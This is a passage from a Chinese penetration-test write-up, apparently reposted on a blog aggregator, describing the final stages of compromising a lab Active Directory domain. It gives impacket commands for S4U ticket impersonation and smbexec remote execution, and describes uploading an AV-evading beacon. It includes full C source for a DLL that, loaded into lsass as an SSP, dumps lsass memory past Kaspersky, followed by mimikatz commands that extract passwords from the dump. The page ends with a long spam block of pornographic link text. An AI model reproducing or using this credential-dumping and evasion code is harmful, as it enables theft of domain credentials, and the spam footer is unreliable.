再用s4u協議申請高權限票據。

python getST.py -dc-ip ad1.blueteam.com blueteam/evilpc\$:123456 -spn cifs/dev1.blueteam.com -impersonate administrator

獲得服務票據以后就可以直接登錄WEBDAV服務器了

export KRB5CCNAME=administrator.ccache python smbexec.py -no-pass -k dev1.blueteam.com

整個RCE過程到此結束了,但是還沒有拿下域控,滲透任務還沒有結束,先上一個GIF演示整個RCE過程,接下來再講怎么拿下域控。

卡巴斯基的對抗

其實拿下域控的過程很常規,就是在WEBDAV服務器上抓到了域管理員的賬戶密碼。但是這里難點是卡巴斯基的對抗,繞不過你就拿不到域管理員的賬戶密碼。

這里安裝的卡巴斯基全方位防護版來進行測試。

1. 繞過卡巴斯基橫向移動
在真實場景中并不會像本地環境一樣順利,當我們拿到一張高權限票據后準備對dev2機器進行pass the ticket時存在卡巴斯基怎么辦呢?常規的smbexec.py會被攔截的。

我們這里的繞過方法是用smb上傳一個beacon再通過創建啟動服務執行beacon全程無攔截,當然beacon.exe需要進行免殺處理。

2. 繞過卡巴斯基抓lsass中的密碼
我想最糟心的事情莫過于知道域管理員登錄過這臺機器,但卻沒有辦法抓密碼。下面將介紹如何解決這個問題。相信在紅隊行動中遇到卡巴斯基的小伙伴不少,也知道他對防止從lsass中抓取密碼做的是多么的變態。即使你使用微軟簽名的內存dump工具也會被攔截,更不用說什么mimikatz了。

偶然在國外大佬博客上看到了一篇通過RPC調用添加一個SSP dll的文章Exploring Mimikatz - Part 2 - SSP,突然醍醐灌頂,lsass自身絕對可以讀自己內存呀,加載dll到lsass進程然后dump內存不是就可以繞過了? 不禁感嘆:站在巨人肩膀上看到的世界果然更為遼闊。

下載編譯這個代碼ssp_dll.c 然后再寫一個dump 進程內存的dll。

#include <cstdio> #include <windows.h> #include <DbgHelp.h> #include <iostream> #include <TlHelp32.h> #pragma comment(lib,"Dbghelp.lib") typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(ULONG Privilege, BOOL Enable,BOOL CurrentThread, PULONG Enabled);int dump() {HRESULT hr;_MiniDumpW MiniDumpW;_RtlAdjustPrivilege RtlAdjustPrivilege;ULONG t;MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");if (MiniDumpW == NULL) {return 0;}// try enable debug privilegeRtlAdjustPrivilege(20, TRUE, FALSE, &t);wchar_t ws[100];swprintf(ws, 100, L"%hs", "784 c:\\1.bin full"); //784是lsass進程的pid號 "<pid> <dump.bin> full" MiniDumpW(0, 0, ws);return 0;}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {switch (ul_reason_for_call) {case DLL_PROCESS_ATTACH:dump();break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE; }

這樣就繞過了卡巴斯基dump到了lsass的內存了。

最后本地導入mimikatz的常規操作就不細說了,上幾個截圖。

mimikatz # sekurlsa::minidump 1.bin mimikatz # sekurlsa::logonPasswords full

到此是真的要結束了,有域管理員的賬戶密碼,怎么拿下域控,我相信這個不用多說了。

總結

我們回顧一下,從discuz到xxe,從xxe到域控,整個過程我們在真實的滲透過程中其實沒有花費太多時間,可能得益于平時的積累。針對此次滲透,我們還是收獲滿滿,希望你也是。

最后最后白嫖網安學習資料!!!

總結

以上是生活随笔為你收集整理的“不一样”的真实渗透测试案例分析的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 日韩成人免费在线 | 色综合天天操 | 大号bbwassbigav女 | 色播激情| 波多野结衣先锋影音 | 亚洲无人区小视频 | 国产一区精品无码 | 久热精品在线观看视频 | 搞黄网站在线观看 | 国产xxxx做受视频 | 亚洲春色另类 | 国产真人做爰毛片视频直播 | 亚洲永久无码7777kkk | 日韩欧美一级在线 | 成人黄性视频 | 亚洲三级在线播放 | 日韩av综合网站 | www.蜜臀 | 欧美色淫 | 狠狠操网站 | 国产精品久久久久久久久久辛辛 | 亚洲色图视频在线观看 | 日韩一区二区在线观看 | 成人福利影院 | 谁有毛片网址 | 久在线观看 | 超碰96在线| 日韩久久一区二区 | 99久久人妻无码中文字幕系列 | 亚洲性生活片 | 高清三区 | 日韩美女三级 | 国产电影免费观看高清完整版视频 | 天天舔天天 | 妖精视频一区二区三区 | 亚洲成人中文字幕 | 岛国片在线播放 | 日本大尺度吃奶做爰视频 | 久久综合操 | 欧美黄色一级大片 | 国产超碰| videos另类灌满极品另类 | 国产97视频 | 男女免费网站 | 扒开伸进免费视频 | 人妻久久久一区二区三区 | 国产精品久久av无码一区二区 | 欧美精品h| 天堂网视频在线 | 在线91av| 国产丰满果冻videossex | 日韩www| 成人国产精品免费 | 日韩中文字幕视频在线观看 | 亚洲v欧美v另类v综合v日韩v | 久久性av| www.999av| 国产内射合集颜射 | 亚洲精品国产精品乱码不卡√香蕉 | 国产精品一区二区三区四区在线观看 | 亚洲三级网| 欧美三级视频在线播放 | 91在线无精精品白丝 | 少妇太爽了太深了太硬了 | 五月婷婷一区二区 | 一级片aaaaa 国产又黄又粗又猛又爽 | 成人学院中文字幕 | 狠狠干天天色 | 午夜免费看视频 | 欧美a v在线播放 | 麻豆传媒网 | 五月天婷婷色 | 黑人巨大精品欧美黑白配亚洲 | 国产中文字幕免费 | 色xxxx| 午夜欧美视频 | 国产真实乱 | 精品久久久蜜桃 | 超碰免费成人 | 久久综合久久鬼色 | 黑人操日本 | wwwwww色 | 久久久久久久9999 | 久久高清国产 | 久久久久久久国产精品视频 | www色网站| 久久久精品人妻一区二区三区四 | 91免费看片网站 | 99热视| 91在线播放视频 | 18久久久| 69欧美视频 | 四虎影院永久地址 | 欧洲金发美女大战黑人 | 国产女主播在线 | 日韩美女黄色片 | 性人久久久久 | 久久艹精品 | 熟妇人妻av无码一区二区三区 |